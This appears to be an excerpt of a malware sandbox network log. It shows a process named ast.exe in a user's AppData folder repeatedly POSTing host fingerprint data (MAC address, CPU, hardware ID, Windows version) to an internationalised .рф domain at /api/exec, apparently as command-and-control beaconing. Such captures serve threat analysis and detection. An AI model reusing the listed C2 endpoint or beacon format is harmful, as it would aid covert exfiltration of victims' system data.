Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50039	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:31 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:31 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50042	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:32 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:32 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50045	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:32 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:32 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50048	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:33 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:33 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50051	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:35 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:35 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50054	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:35 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:35 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50057	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:36 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:36 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50060	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:38 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:38 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.
2024-11-19 18:15:38 UTC	403	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.19045) x64

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50063	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:38 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:38 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50066	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:39 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:39 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50069	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:40 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:40 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50078	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:43 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:43 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50081	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:44 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:44 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50084	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:45 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:45 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50087	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:46 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 18:15:46 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 63 43 2d 46 34 2d 42 42 2d 35 37 2d 30 44 2d 43 39 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 73 71 6c 68 74 64 76 75 6e 6b 69 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 32 39 36 62 38 35 39 37 66 66 37 34 61 37 61 36 36 66 34 30 31 31 66 33 38 35 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 33 30 32 34 39 34 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50090	212.193.169.65	443	3380	C:\Users\user\AppData\Roaming\fat\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:47 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
